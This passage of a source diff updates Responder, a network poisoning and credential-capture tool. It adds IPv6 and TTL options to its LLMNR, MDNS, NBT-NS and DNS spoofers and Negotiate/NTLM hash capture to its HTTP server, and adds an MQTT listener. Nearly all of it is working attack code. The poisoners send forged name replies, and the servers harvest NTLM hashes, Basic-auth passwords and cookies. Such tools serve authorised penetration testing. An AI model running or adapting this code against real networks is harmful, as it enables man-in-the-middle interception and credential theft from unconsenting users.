s.sendto(NetworkSendBufferPython2or3(packet), Host)
def DHCP():
def DHCP(DHCP_DNS):
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
s.bind((Interface, 0x0800))
SendDiscover()
@ -304,6 +349,6 @@ def DHCP():
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
if SrcPort == 67 or DstPort == 67:
ClientIP = socket.inet_ntoa(data[0][26:30])
ret = ParseDHCPCode(data[0][42:], ClientIP)
if ret:
ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_DNS)
if ret and not settings.Config.Quiet_Mode:
print(text("[*] [DHCP] %s" % ret))

73
poisoners/LLMNR.py Normal file → Executable file
View file

@ -14,9 +14,7 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import fingerprint
from packets import LLMNR_Ans
from packets import LLMNR_Ans, LLMNR6_Ans
from utils import *
if (sys.version_info > (3, 0)):
@ -24,8 +22,8 @@ if (sys.version_info > (3, 0)):
else:
from SocketServer import BaseRequestHandler
#Should we answer to those AAAA?
Have_IPv6 = settings.Config.IPv6
def Parse_LLMNR_Name(data):
import codecs
@ -42,11 +40,11 @@ def IsICMPRedirectPlausible(IP):
for line in file:
ip = line.split()
if len(ip) < 2:
continue
continue
elif ip[0] == 'nameserver':
dnsip.extend(ip[1:])
for x in dnsip:
if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False:
if x != "127.0.0.1" and IsIPv6IP(x) is False and IsOnTheSameSubnet(x,IP) is False: #Temp fix to ignore IPv6 DNS addresses
print(color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5))
print(color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5))
print(color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5))
@ -60,37 +58,68 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
try:
data, soc = self.request
Name = Parse_LLMNR_Name(data).decode("latin-1")
if settings.Config.AnswerName is None:
AnswerName = Name
else:
AnswerName = settings.Config.AnswerName
LLMNRType = Parse_IPV6_Addr(data)
# Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0], Name) is not True:
if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True:
return None
if data[2:4] == b'\x00\x00' and Parse_IPV6_Addr(data):
Finger = None
if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
#IPv4
if data[2:4] == b'\x00\x00' and LLMNRType:
if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: LLMNR]"
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '1',
})
else: # Poisoning Mode
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
elif LLMNRType == True: # Poisoning Mode
#Default:
if settings.Config.TTL == None:
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName)
else:
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL)
Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
LineHeader = "[*] [LLMNR]"
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1))
if not settings.Config.Quiet_Mode:
LineHeader = "[*] [LLMNR]"
if settings.Config.AnswerName is None:
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
else:
print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1))
SavePoisonersToDb({
'Poisoner': 'LLMNR',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '0',
})
if Finger is not None:
print(text("[FINGER] OS Version : %s" % color(Finger[0], 3)))
print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))
elif LLMNRType == 'IPv6' and Have_IPv6:
#Default:
if settings.Config.TTL == None:
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName)
else:
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=AnswerName, TTL=settings.Config.TTL)
Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode:
LineHeader = "[*] [LLMNR]"
if settings.Config.AnswerName is None:
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
else:
print(color("%s Poisoned answer sent to %s for name %s (spoofed answer name %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, AnswerName), 2, 1))
SavePoisonersToDb({
'Poisoner': 'LLMNR6',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '0',
})
except:
raise
pass

83
poisoners/MDNS.py Normal file → Executable file
View file

@ -20,9 +20,12 @@ if (sys.version_info > (3, 0)):
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import MDNS_Ans
from packets import MDNS_Ans, MDNS6_Ans
from utils import *
#Should we answer to those AAAA?
Have_IPv6 = settings.Config.IPv6
def Parse_MDNS_Name(data):
try:
if (sys.version_info > (3, 0)):
@ -32,14 +35,14 @@ def Parse_MDNS_Name(data):
NameLen_ = data[1+NameLen]
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
FinalName = Name+b'.'+Name_
return FinalName.decode("latin-1")
return FinalName.decode("latin-1").replace("\x05","")
else:
data = NetworkRecvBufferPython2or3(data[12:])
NameLen = struct.unpack('>B',data[0])[0]
Name = data[1:1+NameLen]
NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
return Name+'.'+Name_
return Name+'.'+Name_.replace("\x05","")
except IndexError:
return None
@ -51,37 +54,57 @@ def Poisoned_MDNS_Name(data):
class MDNS(BaseRequestHandler):
def handle(self):
MADDR = "224.0.0.251"
MPORT = 5353
try:
data, soc = self.request
Request_Name = Parse_MDNS_Name(data)
MDNSType = Parse_IPV6_Addr(data)
# Break out if we don't want to respond to this host
if (not Request_Name) or (RespondToThisHost(self.client_address[0].replace("::ffff:",""), Request_Name) is not True):
return None
data, soc = self.request
Request_Name = Parse_MDNS_Name(data)
# Break out if we don't want to respond to this host
if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
return None
if settings.Config.AnalyzeMode: # Analyze Mode
if Parse_IPV6_Addr(data):
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))))
if settings.Config.AnalyzeMode: # Analyze Mode
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Request_Name, 3))))
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '1',
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '1',
})
else: # Poisoning Mode
if Parse_IPV6_Addr(data):
elif MDNSType == True: # Poisoning Mode
Poisoned_Name = Poisoned_MDNS_Name(data)
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton())
#Use default:
if settings.Config.TTL == None:
Buffer = MDNS_Ans(AnswerName = Poisoned_Name)
else:
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, TTL=settings.Config.TTL)
Buffer.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer), (MADDR, MPORT))
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1))
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
if not settings.Config.Quiet_Mode:
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '0',
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '0',
})
elif MDNSType == 'IPv6' and Have_IPv6: # Poisoning Mode
Poisoned_Name = Poisoned_MDNS_Name(data)
#Use default:
if settings.Config.TTL == None:
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name)
else:
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name, TTL= settings.Config.TTL)
Buffer.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
if not settings.Config.Quiet_Mode:
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'MDNS6',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '0',
})
except:
raise

68
poisoners/NBTNS.py Normal file → Executable file
View file

@ -14,7 +14,6 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import fingerprint
import sys
from packets import NBT_Ans
from utils import *
@ -24,59 +23,42 @@ if (sys.version_info > (3, 0)):
else:
from SocketServer import BaseRequestHandler
# Define what are we answering to.
def Validate_NBT_NS(data):
print("NBT-Service is:", NetworkRecvBufferPython2or3(data[43:46]))
if settings.Config.AnalyzeMode:
return False
elif NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "File Server":
return True
elif settings.Config.NBTNSDomain:
if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Domain Controller":
return True
elif settings.Config.Wredirect:
if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Workstation/Redirector":
return True
return False
# NBT_NS Server class.
class NBTNS(BaseRequestHandler):
def handle(self):
try:
data, socket = self.request
Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45]))
# Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True:
return None
data, socket = self.request
Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45]))
# Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0], Name) is not True:
return None
if data[2:4] == b'\x01\x10':
Finger = None
if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
if settings.Config.AnalyzeMode: # Analyze Mode
LineHeader = "[Analyze mode: NBT-NS]"
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
SavePoisonersToDb({
if data[2:4] == b'\x01\x10':
if settings.Config.AnalyzeMode: # Analyze Mode
print(text('[Analyze mode: NBT-NS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Name, 3))))
SavePoisonersToDb({
'Poisoner': 'NBT-NS',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '1',
})
else: # Poisoning Mode
Buffer1 = NBT_Ans()
Buffer1.calculate(data)
socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
LineHeader = "[*] [NBT-NS]"
print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1))
SavePoisonersToDb({
})
else: # Poisoning Mode
if settings.Config.TTL == None:
Buffer1 = NBT_Ans()
else:
Buffer1 = NBT_Ans(TTL=settings.Config.TTL)
Buffer1.calculate(data)
socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode:
LineHeader = "[*] [NBT-NS]"
print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1))
SavePoisonersToDb({
'Poisoner': 'NBT-NS',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '0',
})
})
except:
raise
if Finger is not None:
print(text("[FINGER] OS Version : %s" % color(Finger[0], 3)))
print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))

2
requirements.txt Normal file
View file

@ -0,0 +1,2 @@
aioquic
netifaces>=0.10.4

View file

@ -165,7 +165,7 @@ def BecomeBackup(data,Client):
Role = NBT_NS_Role(data[45:48])
if settings.Config.AnalyzeMode:
print(text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain)))
print(text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client.replace("::ffff:",""), Name,Role,Domain)))
RAPInfo = RAPThisDomain(Client, Domain)
if RAPInfo is not None:
print(RAPInfo)
@ -182,7 +182,7 @@ def ParseDatagramNBTNames(data,Client):
if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode:
print(text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2)))
print(text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client.replace("::ffff:",""), Name, Role1, Domain, Role2)))
RAPInfo = RAPThisDomain(Client, Domain)
if RAPInfo is not None:
print(RAPInfo)

73
servers/DNS.py Normal file → Executable file
View file

@ -15,19 +15,27 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
from packets import DNS_Ans, DNS_SRV_Ans
from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans, DNS_AnsOPT
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
#Should we answer to those AAAA?
Have_IPv6 = settings.Config.IPv6
def ParseDNSType(data):
QueryTypeClass = data[len(data)-4:]
OPT = data[len(data)-22:len(data)-20]
if OPT == "\x00\x29":
return "OPTIPv4"
# If Type A, Class IN, then answer.
if QueryTypeClass == "\x00\x01\x00\x01":
elif QueryTypeClass == "\x00\x01\x00\x01":
return "A"
if QueryTypeClass == "\x00\x21\x00\x01":
elif QueryTypeClass == "\x00\x21\x00\x01":
return "SRV"
elif QueryTypeClass == "\x00\x1c\x00\x01":
return "IPv6"
@ -39,19 +47,41 @@ class DNS(BaseRequestHandler):
try:
data, soc = self.request
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A" and settings.Config.AnalyzeMode == False:
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A":
buff = DNS_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV" and settings.Config.AnalyzeMode == False:
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4":
buff = DNS_AnsOPT()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
buff = DNS_SRV_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6:
buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6:
buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
except Exception:
pass
@ -65,19 +95,40 @@ class DNSTCP(BaseRequestHandler):
try:
data = self.request.recv(1024)
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A" and settings.Config.AnalyzeMode is False:
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A":
buff = DNS_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV" and settings.Config.AnalyzeMode == False:
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4":
buff = DNS_AnsOPT()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
buff = DNS_SRV_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6:
buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6:
buff = DNS6_AnsOPT()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA OPT Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
except Exception:
pass

3
servers/FTP.py Normal file → Executable file
View file

@ -37,10 +37,8 @@ class FTP(BaseRequestHandler):
if data[0:4] == b'PASS':
Pass = data[5:].strip().decode("latin-1")
Packet = FTPPacket(Code="530",Message="User not logged in.")
self.request.send(NetworkSendBufferPython2or3(Packet))
data = self.request.recv(1024)
SaveToDb({
'module': 'FTP',
@ -57,4 +55,5 @@ class FTP(BaseRequestHandler):
data = self.request.recv(1024)
except Exception:
self.request.close()
pass

View file

@ -86,16 +86,6 @@ def GrabCookie(data, host):
return Cookie
return False
def GrabHost(data, host):
Host = re.search(r'(Host:*.\=*)[^\r\n]*', data)
if Host:
Host = Host.group(0).replace('Host: ', '')
if settings.Config.Verbose:
print(text("[HTTP] Host : %s " % color(Host, 3)))
return Host
return False
def GrabReferer(data, host):
Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data)
@ -106,26 +96,9 @@ def GrabReferer(data, host):
return Referer
return False
def SpotFirefox(data):
UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data)
if UserAgent:
print(text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2)))
IsFirefox = re.search('Firefox', UserAgent[0])
if IsFirefox:
print(color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1))
print(color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1))
return True
else:
return False
def WpadCustom(data, client):
Wpad = re.search(r'(/wpad.dat|/*\.pac)', data)
if Wpad and SpotFirefox(data):
Buffer = WPADScript(Payload="function FindProxyForURL(url, host){return 'DIRECT';}")
Buffer.calculate()
return str(Buffer)
if Wpad and SpotFirefox(data) == False:
if Wpad:
Buffer = WPADScript(Payload=settings.Config.WPAD_Script)
Buffer.calculate()
return str(Buffer)
@ -177,6 +150,7 @@ def GrabURL(data, host):
# Handle HTTP packet sequence.
def PacketSequence(data, client, Challenge):
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
NTLM_Auth2 = re.findall(r'(?<=Authorization: Negotiate )[^\r]*', data)
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
# Serve the .exe if needed
@ -196,15 +170,14 @@ def PacketSequence(data, client, Challenge):
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
if Packet_NTLM == b'\x01':
GrabURL(data, client)
GrabReferer(data, client)
GrabHost(data, client)
#GrabReferer(data, client)
GrabCookie(data, client)
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
Buffer.calculate()
Buffer_Ans = IIS_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
#Buffer_Ans.calculate(Buffer)
Buffer_Ans.calculate()
return Buffer_Ans
if Packet_NTLM == b'\x03':
@ -216,7 +189,37 @@ def PacketSequence(data, client, Challenge):
ParseHTTPHash(NTLM_Auth, Challenge, client, module)
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
print(text("[HTTP] WPAD (auth) file sent to %s" % client))
print(text("[HTTP] WPAD (auth) file sent to %s" % client.replace("::ffff:","")))
return WPAD_Custom
else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
Buffer.calculate()
return Buffer
elif NTLM_Auth2:
Packet_NTLM = b64decode(''.join(NTLM_Auth2))[8:9]
if Packet_NTLM == b'\x01':
GrabURL(data, client)
#GrabReferer(data, client)
GrabCookie(data, client)
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
Buffer.calculate()
Buffer_Ans = IIS_NTLM_Challenge_Ans(WWWAuth = "WWW-Authenticate: Negotiate ", Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
Buffer_Ans.calculate()
return Buffer_Ans
if Packet_NTLM == b'\x03':
NTLM_Auth = b64decode(''.join(NTLM_Auth2))
if IsWebDAV(data):
module = "WebDAV"
else:
module = "HTTP"
ParseHTTPHash(NTLM_Auth, Challenge, client, module)
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
print(text("[HTTP] WPAD (auth) file sent to %s" % client.replace("::ffff:","")))
return WPAD_Custom
else:
@ -228,21 +231,20 @@ def PacketSequence(data, client, Challenge):
ClearText_Auth = b64decode(''.join(Basic_Auth))
GrabURL(data, client)
GrabReferer(data, client)
GrabHost(data, client)
#GrabReferer(data, client)
GrabCookie(data, client)
SaveToDb({
'module': 'HTTP',
'type': 'Basic',
'client': client,
'user': ClearText_Auth.decode('latin-1').split(':')[0],
'cleartext': ClearText_Auth.decode('latin-1').split(':')[1],
'user': ClearText_Auth.decode('latin-1').split(':', maxsplit=1)[0],
'cleartext': ClearText_Auth.decode('latin-1').split(':', maxsplit=1)[1],
})
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
if settings.Config.Verbose:
print(text("[HTTP] WPAD (auth) file sent to %s" % client))
print(text("[HTTP] WPAD (auth) file sent to %s" % client.replace("::ffff:","")))
return WPAD_Custom
else:
@ -251,14 +253,18 @@ def PacketSequence(data, client, Challenge):
return Buffer
else:
if settings.Config.Basic:
Response = IIS_Basic_401_Ans()
r = IIS_Basic_401_Ans()
r.calculate()
Response = r
if settings.Config.Verbose:
print(text("[HTTP] Sending BASIC authentication request to %s" % client))
print(text("[HTTP] Sending BASIC authentication request to %s" % client.replace("::ffff:","")))
else:
Response = IIS_Auth_401_Ans()
r = IIS_Auth_401_Ans()
r.calculate()
Response = r
if settings.Config.Verbose:
print(text("[HTTP] Sending NTLM authentication request to %s" % client))
print(text("[HTTP] Sending NTLM authentication request to %s" % client.replace("::ffff:","")))
return Response
@ -302,7 +308,7 @@ class HTTP(BaseRequestHandler):
self.request.send(NetworkSendBufferPython2or3(Buffer))
self.request.close()
if settings.Config.Verbose:
print(text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]))
print(text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0].replace("::ffff:","")))
else:
Buffer = PacketSequence(data,self.client_address[0], Challenge)
@ -311,3 +317,4 @@ class HTTP(BaseRequestHandler):
except:
pass

13
servers/HTTP_Proxy.py Normal file → Executable file
View file

@ -207,9 +207,9 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
rbufsize = 0
def handle(self):
(ip, port) = self.client_address
(ip, port) = self.client_address[0], self.client_address[1]
if settings.Config.Verbose:
print(text("[PROXY] Received connection from %s" % self.client_address[0]))
print(text("[PROXY] Received connection from %s" % self.client_address[0].replace("::ffff:","")))
self.__base_handle()
def _connect_to(self, netloc, soc):
@ -246,14 +246,15 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
try:
if self._connect_to(self.path, soc):
self.wfile.write(self.protocol_version +" 200 Connection established\r\n")
self.wfile.write("Proxy-agent: %s\r\n" % self.version_string())
self.wfile.write("\r\n")
self.wfile.write(NetworkSendBufferPython2or3(self.protocol_version +" 200 Connection established\r\n"))
self.wfile.write(NetworkSendBufferPython2or3("Proxy-agent: %s\r\n"% self.version_string()))
self.wfile.write(NetworkSendBufferPython2or3("\r\n"))
try:
self._read_write(soc, 300)
except:
pass
except:
raise
pass
finally:
@ -285,7 +286,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
Cookie = self.headers['Cookie'] if "Cookie" in self.headers else ''
if settings.Config.Verbose:
print(text("[PROXY] Client : %s" % color(self.client_address[0], 3)))
print(text("[PROXY] Client : %s" % color(self.client_address[0].replace("::ffff:",""), 3)))
print(text("[PROXY] Requested URL : %s" % color(self.path, 3)))
print(text("[PROXY] Cookie : %s" % Cookie))

View file

@ -173,7 +173,7 @@ def ParseCLDAPPacket(data, client, Challenge):
elif Operation == b'\x63':
Buffer = ParseSearch(data)
print(text('[CLDAP] Sent CLDAP pong to %s.'% client))
print(text('[CLDAP] Sent CLDAP pong to %s.'% client.replace("::ffff:","")))
return Buffer
elif settings.Config.Verbose:

205
servers/MQTT.py Normal file
View file

@ -0,0 +1,205 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import settings, NetworkSendBufferPython2or3, SaveToDb
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import MQTTv3v4ResponsePacket, MQTTv5ResponsePacket
#Read N byte integer
def readInt(data, offset, numberOfBytes):
value = int.from_bytes(data[offset:offset+numberOfBytes], 'big')
offset += numberOfBytes
return (value, offset)
#Read binary data
def readBinaryData(data, offset):
#Read number of bytes
length, offset = readInt(data, offset, 2)
#Read bytes
value = data[offset:offset+length]
offset += length
return (value, offset)
#Same as readBinaryData() but without reading data
def skipBinaryDataString(data, offset):
